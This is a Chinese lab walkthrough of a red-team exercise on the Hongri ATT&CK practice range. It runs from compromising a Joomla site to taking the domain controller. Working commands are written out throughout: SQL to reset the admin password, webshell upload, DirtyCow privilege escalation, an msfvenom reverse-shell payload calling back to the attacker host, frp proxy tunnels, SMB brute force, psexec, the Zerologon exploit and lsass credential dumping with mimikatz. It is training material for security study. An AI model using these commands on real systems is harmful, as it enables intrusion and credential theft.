红日ATT&CK靶场系列(三)渗透实战笔记

靶场简介

下载地址:https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ 密码: 7mhi

下载后虚拟机导入即可,可以先把web1-ubantu、web-centos开启,其他三台等用的在开启

image-20250626100430829

基本信息

**作者:**licong

环境配置

打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。

挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。

除重新获取ip,不建议进行任何虚拟机操作。

参考虚拟机网络配置,添加新的网络,该网络作为内部网络。

注:名称及网段必须符合上述图片,进行了固定ip配置。

描述

目标:域控中存在一份重要文件。

本次环境为黑盒测试,不提供虚拟机账号密码

网络进行如下配置:

网卡设置

centos为出网机,第一次运行,需重新获取桥接模式网卡ip。

需重启网络服务service network restart

其他的不动

网络拓扑

image-20250626115849494

靶场涉及知识点

  1. 本次打靶练习是一个黑盒测试。没有密码,我们的目标是拿到域控制器的权限,并找到其中的重要文件。

一、环境搭建

配置信息

ATT&CK红队实战靶场环境搭建:

靶机ip 类型
(IP:桥接模式192.168.1.103) kali攻击机
(网卡1:192.168.1.102 (桥接)//网卡2:192.168.93.100) Centos服务器
(IP:192.168.93.120 Ubuntu服务器
(IP:192.168.93.10) server2012服务器
(IP:192.168.93.20) server2008服务器
(IP:192.168.93.30) win7服务器

PS:Centos需要添加一张网卡,192.168.1 网段需要桥接 192.168.93的网段 NAT模式即可。

二、渗透过程

2.1 WEB主机(外网)渗透

主机发现

kali的nmap扫描网段信息,使用ICMP协扫描c段:

nmap -sn -PE -T4 -n 192.168.1.0/24

-sn: 进行“Ping 扫描”,即仅检测哪些主机在线,而不进行端口扫描。
-PE: 使用 ICMP Echo 请求进行 Ping 扫描。
-T4: 设置扫描速度为“快速”,适合在网络条件良好的情况下使用。
-n: 不进行 DNS 解析,直接使用 IP 地址进行扫描。

排除kali本机ip的192.168.1.103外,成功发现一台主机ip信息为:

192.168.1.102

image-20250627033331317

nmap端口扫描

分别对IP地址做主机端口和服务的详细扫描:

nmap -p- -sV -sS -O -T5 192.168.1.102

image-20250627033513855

发现开放的端口信息:22,80,3306

访问web端口查看信息

Wappalyzer发现网站cms——Joomla

image-20250627033627720

Joomla是一套全球知名的内容管理系统。 
Joomla是使用PHP语言加上MySQL数据库所开发的软件系统。
可在Linux、 Windows、MacOSX等各种不同的平台上执行。是由Open Source Matters(见扩展阅读)这个开放源码组织进行开发与支持。

目录扫描

对web进行目录扫描

dirsearch -u  http://192.168.1.102/

image-20250627034021911

image-20250627034043469

发现administrator后台

image-20250627034112733

image-20250627034211073

截选有价值的目录如下:

http://192.168.1.102/administrator/    后台
http://192.168.1.102/robots.txt
http://192.168.1.102/configuration.php~

发现数据库mysql连接用户名和密码

testuser,cvcvgjASD!@

image-20250627034440409

测试连接数据库,成功

image-20250627041953284

在joomla的官方文档中找到了修改密码的操作

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F

image-20250627040807038

执行sql命令进行修改密码

update am2zu_users set password = "433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT" where username="administrator";

image-20250627044132099

administrator密码admin

修改成功,登录系统后台

image-20250627043042353

Webshell上线蚁剑

找到模板处写一句话木马上线蚁剑

image-20250708013152436

image-20250708013130624

image-20250708013245896

打开虚拟终端发现没有执行命令的权限,开启了 disable_functions 配置选项,禁用了代码执行的函数。

disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。执行命令发现ret=127,实际上就是因为被这个限制的原因。
1、黑名单绕过:          
     assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
2、利用Windows组件DCOM绕过(Linux系统不适用)
3、利用Linux环境变量LD_PRELOAD      
     LD_PRELOAD是Linux系统中的一个环境变量:它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,可以以此功能来使用自己的或是更好的函数,而另一方面,也可以以向别人的程序注入程序,从而达到特定的目的。
4、蚁剑插件或者哥斯拉绕过    

使用蚁剑插件绕过

image-20250708013321886

image-20250708013402965

image-20250708013520449

image-20250708014057550

翻翻找找,看到敏感信息

image-20250708014344519

在/tmp/mysql/test.txt文件中发现了用户名和密码

使用wwwuser/wwwuser_123Aqx进行ssh连接,连接成功

注意这里之前nmap扫描的ssh版本为OpenSSH 5.3 (protocol 2.0)需要在命令后带入HostKeyAlgorithms=+ssh-rsa

image-20250708014656147

提权

查看系统版本

uname -a

image-20250708015048301

Linux 2.6.32,

下载Linux-exploit-suggester,查询提提权漏洞

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

如果下载不了可以本地现下载后用本地开启服务器权限,靶机下载

image-20250708020608076

image-20250708020753508

修改文件权限并执行

chmod 7777 linux-exploit-suggester.sh

bash linux-exploit-suggester.sh

image-20250708020908435

有脏牛提权

https://github.com/firefart/dirtycow.git

同样下载脏牛提权工具后攻击机开启http服务,下载在至目标机器,并进行编译

gcc -pthread dirty.c -o aaa -lcrypt

编译好后执行aaa文件(如果有passwd文件要提前删除),成功后设置密码为123456

image-20250708021528044

可以看到提权用户firefart成功

su firefart,使用重设的密码成功登录

image-20250708021709836

上线MSF

生成msf的elf木马

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4446 -f elf > shell.elf 

image-20250708022026817

开启msf设置监听

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.7
set lport 4446
run

image-20250708022327297

攻击机开启服务后,靶机下载并执行

image-20250708022603962

image-20250708022713238

image-20250708022722372

2.2 内网渗透

内网信息搜集

msf上线后添加路由扫描192.168.93.0网段的机器

bg
use post/multi/manage/autoroute
set subnet 192.168.91.0
set session 1
run

image-20250708023121131

扫描:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-254
set threads 5
run

image-20250708023841562

发现三台机器分别是192.168.93.20、192.168.93.30、192.168.93.10

横向移动

现进行frp反向代理配置

进行横向攻击前先搭一个反向代理,这里使用的是frp

下载地址:https://github.com/fatedier/frp/

服务器端(kali):192.168.1.7

vi frps.toml

mmon]
bind_addr = 0.0.0.0
bind_port = 3333
token = Talent

image-20250708030648254

客户端(受害机192.168.1.102):

[common]
server_addr = 192.168.1.7
server_port = 3333
token = Talent
[http_proxy8]
type = tcp
remote_port = 50002
plugin = socks5 
plugin_user = aaa
plugin_passwd = Aaa

./frpc -c frpc.toml

image-20250708031124858

代理成功

添加路由

sessions 1
run autoroute -s 192.168.93.0/24
run autoroute -p

image-20250708024048493

smb爆破,爆破到密码

use auxiliary/scanner/smb/smb_login
set smbuser administrator
set pass_file /root/tools/dict/vul-pass.txt
set rhosts 192.168.93.20
run

msf进行smb密码密码爆破,得到20和30这两台主机的密码 administrator 123qwe!ASD

PsExec smb利用

msf进行登录,这里主要使用了PsExec进行利用

参考:https://www.cnblogs.com/tomyyyyy/p/14667204.html

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run

image-20250708031822748

拿下192.168.93.20(win2008)和192.168.93.30(win7)

kali正向代理配置

kali配置代理主要使用了kali自带的proxychains这款工具,这款工具需要修改配置文件/etc/proxychains4.conf

cp /etc/proxychains4.conf /etc/proxychains.conf    #因为etc目录下没有文件proxychains.conf所以要copy一下,如果有就不用啦
vi /etc/proxychains.conf
#滑到最后写入 socks5 192.168.1.7 50002 aaa Aaa

image-20250708032323459

wmiexec smb利用

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。

作用:WMI以CIMOM为基础,CIMOM即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API;相反,操作系统的不同部分都可以插入WMI,工具软件和脚本程序可以方便地读写WMI。

WMI 可以管理本地和远程计算机,攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

wmiexec下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install  .  (pip install . 两个空格)

image-20250708033327730

拿到主机后正常的信息收集咯。在域内,域控一般就是dns的地址

image-20250708033419331

存在域名test.org,dns:192.168.93.10

image-20250708033605885

补充:

查找域控的一些命令

查看域控制器机器名 nltest /DCLIST:124-hack
查看域控制器的主机名 nslookup -type=SRV _ldap._tcp
查看当前时间 net time /domain
查看域控制器组 net group "Domain Controllers" /domian
    查看域控制器机器名 netdom query pdc
    
查看域内主机
net view

image-20250708033723300

image-20250708034529522

zerologon漏洞

CVE-2020-14722是一个windows域控中严重的远程权限提升漏洞。
它是因为微软在Netlogon协议中没有正确使用加密算法而导致的漏洞。
由于微软在进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client challenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零

使用zerologon漏洞尝试攻击

回到msfconsole,加载mimikatz

load kiwi
kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ /exploit

image-20250708035211987

攻击成功,转出hash值

kiwi_cmd lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test /authpassword:"" /authntlm

image-20250708035948253

解密读取密码:

image-20250708040513603

抓到域控制器的密码zxcASDqw123!!

获取凭证的方式也有很多种,可以直接上传mimikatz上去,也可以dump下来到本地种解密

方式一:使用微软自带的工具procdump,下载地址https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

将lsass.dmp文件方法mimikatz所在目录,执行

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

方式二:本地执行,可以上传到目标系统或使用3389复制过去

通过smb共享mimikatz

smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe

3389复制

查看是否开启3389远程桌面

#查看是否开启
netstat -an | find “3389”
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f    
#关闭
https://www.cnblogs.com/Fluorescence-tjy/p/9835743.html

上传mimikatz到web主机进行攻击

win主机配置代理,连接192.168.93.20远程桌面

下载安装Proxifier,配置。下载使用地址:https://blog.zgsec.cn/index.php/archives/278/

image-20250708041017859

image-20250708042402410

密码:Aaa

image-20250708043155257

image-20250708043211021

复制mimikatz,已经是管理员权限了直接运行

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

image-20250708043453805

image-20250708043526153

抓到域test.org控制器的密码zxcASDqw123!!

连接域控

使用wmiexec连接

proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'

image-20250708043840427

成功连接到域控

上线到msf

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.10
set smbuser administrator
set smbpass zxcASDqw123!!
run

image-20250708045557090

image-20250708045628353

三、思路总结

靶机的能学到的东西包括但不限于:指纹识别cms到getshell、主机信息收集、正反向代理、脏牛/Ubuntu提权、smb扫描到域、NTLM Relay攻击等

能系统的了解到内网渗透的流程